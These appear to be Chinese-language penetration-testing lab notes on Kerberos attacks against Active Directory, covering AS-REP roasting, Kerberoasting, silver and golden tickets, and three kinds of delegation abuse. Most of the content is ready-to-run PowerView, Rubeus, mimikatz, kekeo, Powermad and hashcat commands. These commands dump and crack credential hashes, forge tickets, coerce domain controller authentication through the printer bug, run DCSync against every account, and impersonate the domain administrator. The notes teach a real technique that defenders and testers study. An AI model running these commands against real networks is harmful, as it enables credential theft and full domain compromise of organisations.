Rosting AS-REP
使用这个攻击方法需要域控开启“Do not require Kerberos preauthenticaton”,但是这个默认是关闭的。
在AS-REQ阶段,也就是kerberos的第一阶段会要求hash加密的时间戳,如果KDC使用hash解密的时间戳不匹配或者无法解密 kerberos验证就会失败。
但是如果启用“Do not require Kerberos preauthenticaton”,就不需要进行验证,使用任意存在的用户名向KDC发送请求,KDC就会返回对应的hash加密的数据给我们,随后就可以进行爆破。
开启不需要预验证
使用powerview.ps1查询开启不需要预验证的账号
powershell.exe -exec bypass -Command "& {Import-Module .\PowerView.ps1;Get-DomainUser -PreauthNotRequired}"
利用ASREPRoast.ps1获取hash
https://github.com/HarmJ0y/ASREPRoast
powershell.exe -exec bypass -Command "& {Import-Module .\ASREPRoast.ps1;Get-ASREPHash -UserName sc -Domain alanlitl.com}"
利用Rubeus
Rubeus.exe asreproast
只保存hash,使用hashcat进行爆破,在后添加$23
hashcat.exe -m 18200 sc_hash.txt password.txt
横向(TGS-REP)
kerberoasting攻击
https://www.cnblogs.com/zpchcbd/p/11707776.html
SPN
SPN作用
服务主体名称(SPN)是服务实列(如HTTP,MySQL)的唯一标识
- Kerberos身份验证就是使用SPN将服务实列与服务登录账户相关联。
-
SPN始终包含运行服务的主机名称,因此服务实列可以为其主机的每个名称或者别名注册SPN。
-
在整个林或者域䣌计算机上安装多个服务,每个服务都必须有自己的SPN,如果客户端使用多个名称进行身份验证,那么服务也可以有多个SPN。
SPN分类
- 注册在本地机器(Computers)下,当服务权限为Local System或者Network Service时,SPN在Computers下。
- 注册在域用户(User)下,当一个服务权限为与用户时,则注册在User下。
注册问题:在windows域里面,默认普通本地机器账户可以注册SPN,但是普通域账户不能注册SPN,当一个服务以Local System account启动时,kerberos就能成功,但是以域用户启动时就不能成功
解决:在域控中将启动账户赋予read servicePrincipalName 和 Write serverPrincipalName
权限,或者手动注册SPN(setspn -S MySQL/web-sc.de1ay.com:3307/MySQL web
)。
set -S http/<computername>.<domainname> <domainuseraccount>
查看SPN
当前域
setspn -q */*
指定域
setspn -T de1ay.com -q */*
删除SPN
setspn -D MySQL/web-sc.de1ay.com:3307/MySQL
创建用户SPN,不是computer那种
setspn -U xxx
扫描SPN
工具:https://github.com/nidem/kerberoast
查询用户注册的SPN
Import-Module .\GetUserSPNs.ps1
cscript .\GetUserSPNs.vbs
工具:https://github.com/PowerShellMafia/PowerSploit/
根据不同用户的objectsid返回,结果更加详细。
Import-Module .\PowerView.ps1
Get-NetUser -SPN
利用SPN进行kerberoasting
原理:TGS-REP的数据包中,enc-part使用的是服务的hash加密,由于域内任何用户都可以向域内任何服务请求TGS,知道相关SPN后,可以使用SPN申请TGS ticket,如果票据使用RC4加密,则可以通过爆破方式获取对应服务用户的密码。
利用过程
找到高权限账户SPN
由于本地没有啥SPN,先注册一个SPN
登录一个有注册SPN权限的账户
setspn -U -A MySQL/web-sc.de1ay.com web
-U指定用户账户,-C指定计算机账户,增加、删除SPN的时候最好指定
setspn -q */*
删除SPN setspn -U -D MySQL/web-sc.de1ay.com web
如果无法修改SPN可以在域控adsiedit.msc
中对应用户的SELE属性中开启读取、写入servicePrincipalName权限。
使用GetUserSPN
使用powerview
申请票据
powershell
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MySQL/web-sc.de1ay.com"
cmd
powershell.exe -exec bypass -Command "& {$SPNName = 'MySQL/web-sc.de1ay.com'; Add-Type -AssemblyNAme System.IdentityModel; New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $SPNName }"
一样的两句
mimikatz
kerberos::ask /target:SPNxxx
使用mimikatz申请票据
kerberos::ask /target:MySQL/web-sc.de1ay.com:3307/MySQL
使用Rubeus.exe,可以直接获取hash,然后使用hashcat爆破
申请RC4加密票据
使用System.IdentityModel.Tokens.KerberosRequestorSecurityToken
申请的票据可能会使用RC4加密,但实际这受到msDS-SupportedEncryptionTypes
域对象属性影响,msDS-SupportedEncryptionTypes
( 微软文档)字段的值决定了 Kerberoast 流程中返回的服务票证的加密级别。同时加密方式也收到本地组策略控制,如果在本地组策略中勾选RC4加密,那么不管域控中用户的msDS-SupportedEncryptionTypes
字段如何设置都将为RC4加密。
服务的msDS-SupportedEncryptionTypes
字段为0x12,本地组策略为 RC4
加密方式依然为RC4
本地组策略修改为未设置后,申请的票据加密方式为aes256
cmd下klist 可以看见票据已经得到了
- 导出票据
mimikatz::list /export
-
获取hash
-
- 使用kirbi2john.py获取票据中的hash
-
-
-
破解hash
-
- 利用tgsrepcrack.py,这个脚本可以直接破解票据kirbi而不需要转换为hash
-
-
-
- 使用hashcat:
hashcat.exe -m 13100 hash.txt password.txt --show
- 使用hashcat:
-
-
服务票据重写(使用脚本出现一点问题,没有复现成功)
改变用户
python kerberoast.py -p Password123 -r PENTESTLAB_001.kirbi -w PENTESTLAB.kirbi -u 500
改变组
python kerberoast.py -p Password123 -r PENTESTLAB_001.kirbi -w PENTESTLAB.kirbi -g 512
使用mimikatz注入票据
kerberos::ptt PENTESTLAB.kirbi
白银票据
不同于黄金票据,通过使用服务hash伪造服务票据,只能访问对应服务。
我在windows server 2012 R2复现失败,换成2008成功了
利用条件
域名
域SID
目标服务FQDN
可利用的服务
服务账号的NTLM Hash
伪造用户名
利用过程
- 先获取hash
获取的是服务的hash,伪造cifs或者ldap之类的一般是主机的hash
mimikatz log "privilege::debug" "sekurlsa::logonpasswords"
- 伪造票据
伪造cifs和ldap需要主机的hash
通过mimikatz伪造
kerberos::golden /domain:alanlitl.com /sid:S-1-5-21-3389487055-3676497411-292983562 /target:dc.alanlitl.com /rc4:16ec75ab12108ae708f6d6a481f4ca4a /service:ldap /user:test /ptt
- 获取权限
委派
https://xz.aliyun.com/t/8690#toc-64
https://www.cnblogs.com/secxue/p/14965428.html
https://www.cnblogs.com/backlion/p/10537813.html
https://my.oschina.net/u/4196756/blog/4911101
委派指用户将权限委派给服务账号,让服务账号能以用户权限开展活动
服务账号是指如MS SQL Server等运行时的账户,这类账户不能用于登录。
委派主要分为三类:非约束委派(Unconstrained delegation)、约束委派Constrained delegation)、基于资源的约束委派(Resource Based Constrained Delegation)
如果账户设置敏感账户,不能被委派就无法使用委派,administrator默认就是敏感账户。
非约束委派
https://my.oschina.net/u/4196756/blog/4911101
如果服务开启非约束委派,当用户访问服务时,服务会在lsass进程中保存TGT,然后服务就能利用TGT以用户的身份去访问其它服务。
开启方式:在用户属性中的委派页面开启,配置了非约束委派的账户的userAccountControl 属性有个FLAG位为TRUSTED_FOR_DELEGATION。设置非约束委派需要SeEnableDelegationPrivilege特权,该特权通常仅授权给域管。
实现方式:用户向KDC发起请求获得TGT,然后用户再次向KDC发起请求获取TGT2,访问服务时将TGT,TGT2,ST一起发送给服务,服务在内存中储存TGT2,并且使用这张TGT2向KDC发起请求。获取到ST后向另一个服务发起请求。
收集设置了非约束委派的账号:
powerview.ps1
powershell.exe -exec bypass -Command "& {Import-Module .\PowerView.ps1;Get-NetUser -Unconstrained -Domain alanlitl.com | select name }"
但是我下载的脚本没有-Unconstrained参数,换一种
powershell.exe -exec bypass -Command "& {Import-Module .\PowerView.ps1;Get-NetUser -Domain alanlitl.com | select name,useraccountcontrol}"
收集设置了非约束委派的机器账号:
powershell.exe -exec bypass -Command "& {Import-Module .\PowerView.ps1;Get-NetComputer -Domain alanlitl.com | select dnshostname,useraccountcontrol}"
域控默认设置为非约束委派
ADfind.exe
非约束委派账号
AdFind.exe -b "DC=alanlitl,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
非约束委派主机
AdFind.exe -b "DC=alanlitl,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
非约束委派攻击
设web主机为非约束委派
清除票据
使用高权限用户访问web主机
net use \\web\c$
在web主机上导出票据
privilege::debug;sekurlsa::tickets /export
kerberos::ptt xxxxx.kirbi
非约束委派+Spooler打印机服务
强制让dc域自己进行认证,从而获取dc票据。 Windows Print System Remote Protocol是MS-RPRN中的一个老旧但是默认的方法,可以让域用户使用MS-RPRN RpcRemoteFindFirstPrinterChangeNotification (Ex)方法强制运行Spooler服务的机器通过Kerberos或者NTLM验证攻击者的目标。
!在windows server 2008下SpoolSampler程序无法运行,换成2012后成功。
需要主机账户开启非约束委派
使用Rubeus监听票据
Rubeus.exe monitor /interval:1 /filteruser:dc$
Rubeus.exe monitor /interval:1 /filteruser:dc$ > 1.txt 将监听到的内容输出到1.txt中方便复制
https://github.com/leechristensen/SpoolSample
需要自己编译为exe文件
SpoolSampler.exe DC SC
使用printerbug.py
https://github.com/dirkjanm/krbrelayx
python printerbug.py 域/用户名:密码@打印机服务ip 回连ip
python printerbug.py alanlitl.com/web:2313root!@10.10.10.10 10.10.10.11
监听到票据
将获取的票据导入,
然后直接使用mimikatz导出域控上的hash
lsadump::dcsync /domain:alanlitl.com /all
如果无法使用Rubeus可以使用mimikatz
使用mimikatz导出所有票据
privilege::debug
sekurlsa::tickets /export
然后导入域控票据
kerberos::ptt xxx.kirbi
dump出域控中的hash
lsadump::dcsync /domain:alanlitl.com /all
制作黄金票据
kerberos::golden /user:administrator /sid:S-1-5-21-3209219484-2126840192-101349831 /krbtgt:2465ff0d094e9bb9cad789eda29643b6 /domain:alanlitl.com /ticket:gold.kirbi /ptt
获取dc权限
约束委派
由于非约束委派的不安全性,开启非约束委派就相当于获取了访问它账户的所有用户权限。所以微软引入了更安全的约束委派。约束委派多了两个协议S4U2Self和S4U2Proxy,服务只能获取用户的ST而不是TGT,这样只能去访问对应的服务。开启约束委派的账户userAccountControl属性有个TRUSTED_TO_AUTH_FOR_DELEGATION(开启使用任何身份认证才有),并且msDS-AllowedToDelegateTo属性还会显示能访问的SPN。如果这两个属性没有被赋值,那么KDC不会将其获得的票据设置为可转发。如果获取的ST票据不能转发,那么S4U2Proxy就没有用了。
需要开启使用任何身份验证
首先需要一个服务账号,通过注册SPN可以获得
setspn -U -A MySQL/web.alanlitl.com web
在约束委派中添加该服务即可
约束委派的两个协议
http://www.harmj0y.net/blog/activedirectory/s4u2pwnage/
- S4U2Proxy
当用户使用ST1(可转发)访问service1时,service1可以使用ST1(可转发)向KDC获取一个访问服务B的ST2。
- S4U2Self
当用户以其他方式访问服务如NTLM,服务就无法向KDC申请访问其他服务的ST,所以S4U2Self就是为了解决这个的。服务向向KDC申请一个“以任意用户访问自己”的可转发TGT,然后利用该协议申请一张“任意用户访问自己”的可转发ST1并设置为可转发(该过程KDC会检验 1.TGT是否可转发 2.服务是否配置约束委派 3.服务是否请求可转发选项),然后就是配合S4U2Proxy,利用ST1获取访问服务B的ST2。
收集设置了约束委派的账号
powerview.ps1
服务账号
需要添加SPN才能在属性中找到委派选项。
powershell.exe -exec bypass -Command "& {Import-Module .\powerview.ps1; Get-DomainUser -TrustedToAuth -Domain alanlitl.com | select name}"
可以看剧MySQL服务被设置为委派对象
机器账号
powershell.exe -exec bypass -Command "& {Import-Module .\powerview.ps1; Get-DomainComputer -TrustedToAuth -Domain alanlitl.com | select name}"
ADFind
主机
AdFind.exe -b "DC=alanlitl,DC=com" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
用户
AdFind.exe -b "DC=alanlitl,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegatet
约束委派攻击方式
查找设置约束委派的账户,和对应的SPN
可以看到web用户可以获取域控cifs的ST票据。
利用kekeo获取票据
https://github.com/gentilkiwi/kekeo/
kekeo的编译有点麻烦,并不能直接编译
kekeo
- 请求TGT
使用ntlm hash申请TGT
tgt::ask /user:web /domain:alanlitl.com /ntlm:xxxxxxxxxxxxx
使用明文 将/ntlm:xxxxx改为/password:xxxx
- 请求ST
tgs::s4u /tgt:1.kirbi /user:Administrator@alanlitl.com /service:cifs/dc.alanlitl.com
- 使用mimikatz导入票据,就可以访问dc了
Rubeus
rubeus在cmd中并不能很好显示,可以在powershell使用
- 请求TGT
.\Rubeus.exe asktgt /user:web /ntlm:810445cb03214d4b609bf0236836d093
- 获取ST
Rubeus.exe s4u /ticket:ticket_base64 /impersonateuser:administrator /domain:alanlitl.com /msdsspn:cifs/dc.alanlitl.com /dc:dc.alanlitl.com /ptt
主机账户的方式是一样的只是使用的hash是主机的hash
基于资源的约束委派
这是windows 2012 R2中新加入的功能,不需要域管配置委派权限,传统的约束委派是在域控上向服务A中添加服务B的SPN,以达到让服务A通过委派访问服务B,而基于资源的约束委派只需要在服务B上通过配置msDS-AllowedToActOnBehalfOfOtherIdentity属性添加服务A的SPN允许服务A使用委派访问服务B。
能利用的原因:
服务可以利用S4U2Self为任意用户请求自身的服务票据,并且在约束委派中提到过服务账号有个UserAccountControl属性它的值被设置为TRUSTED_TO_AUTH_FOR_DELEGATION时,利用S4U2Self获取的票据才能转发(才能被域控设置为可转发)。但是在基于资源的约束委派中,不可转发的票据仍然可以通过S4U2Proxy转发,并且获取一张访问对应服务的可转发票据。
利用过程:
在sc主机上创建一个主机账户test(主要是得到有个有SPN的账户,而且用户名密码由我们设置),然后将设置sc的基于资源的约束委派为test主机(在sc上添加test的SPN),然后利用test主机申请一张以域管身份访问自身的票据,利用基于资源的约束委派的条件获取一张访问sc的票据,由于该票据是以域管身份发起,所以是以域管权限访问,但是票据只用于sc账户,所以相当于提权。
综上所述,如果我们能够修改msDS-AllowedToActOnBehalfOfOtherIdentity,就可以获得一张域管的票据。但是仅限于访问自己,相当于提权。
利用条件
- 拥有修改当前机器msDS-AllowedToActOnBehalfOfOtherIdentity属性的账户。
- 除此之外我们还需要一个具有SPN的账户(我们可以利用上面条件那个账户创建一个机器账户,机器账户会默认注册一些SPN)
查看用户对当前机器用户是否具有权限(如果该机器是使用该用户加入的域,那么就有权限)
Import-Module .\PowerView.ps1
Get-DomainUser -Identity sc -Properties objectsid
Get-DomainObjectAcl -Identity test | ?{$_.SecurityIdentifier -match "SID"}
其中ActiveDirectoryRights属性控制是否可以修改账户属性,GenericAll、GenericWrite、WriteProperty、WriteDacl等都是可以修改的。
创建机器账户
https://gitee.com/RichChigga/Powermad/
由于域控的ms-DS-MachineAccountQuota属性可以允许域账户(用户账户,服务账户,机器账户)在域里添加10个机器账户,所以可以直接添加机器账户,并且密码由我们自己设置。
创建账户
powershell.exe -exec bypass -Command "& {Import-Module .\Powermad.ps1;New-MachineAccount -MachineAccount test -Password $(ConvertTo-SecureString "2313root!" -AsPlainText -Force)}"
查看机器账户
net group "domain computers" /domain
查看当前用户对该机器账户是否具有控制权限
添加基于资源的约束委派
获取test机器账户的SID
Import-Module .\PowerView.ps1
Get-DomainComputer -Identity test -Properties objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3209219484-2126840192-101349831-1106)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Import-Module .\powerview.ps1
Get-DomainComputer sc | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
使用Active Directory Explorer
https://docs.microsoft.com/zh-cn/sysinternals/downloads/adexplorer
这里是修改sc主机的值,这里的值为O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;test的SID),同样的也设置好了基于资源的约束委派。
同时我们可以查看机器账户sc的创建者,查看mS-DS-CreatorSID属性,sc机器是由sc域账户加入,所以显示是sc创建的。所以对其有修改权限。
获取票据
计算机器账户test的hash
Rubeus.exe hash /user:test$ /password:2313root! /domain:alanlitl.com
利用rubeus获取票据
这里是利用winrm以域管身份访问主机,当然也可以申请cifs服务票据。
Rubeus.exe s4u /user:test$ /rc4:810445CB03214D4B609BF0236836D093 /impersonateuser:administrator /msdsspn:http/sc.alanlitl.com /ptt
Rubeus.exe s4u /user:test$ /rc4:810445CB03214D4B609BF0236836D093 /impersonateuser:administrator /msdsspn:wsman/sc.alanlitl.com /ptt
使用powershell连接,获取域控权限。
New-PSSession -Name Priv -ComputerName sc.alanlitl.com
Enter-PSSession -Name Priv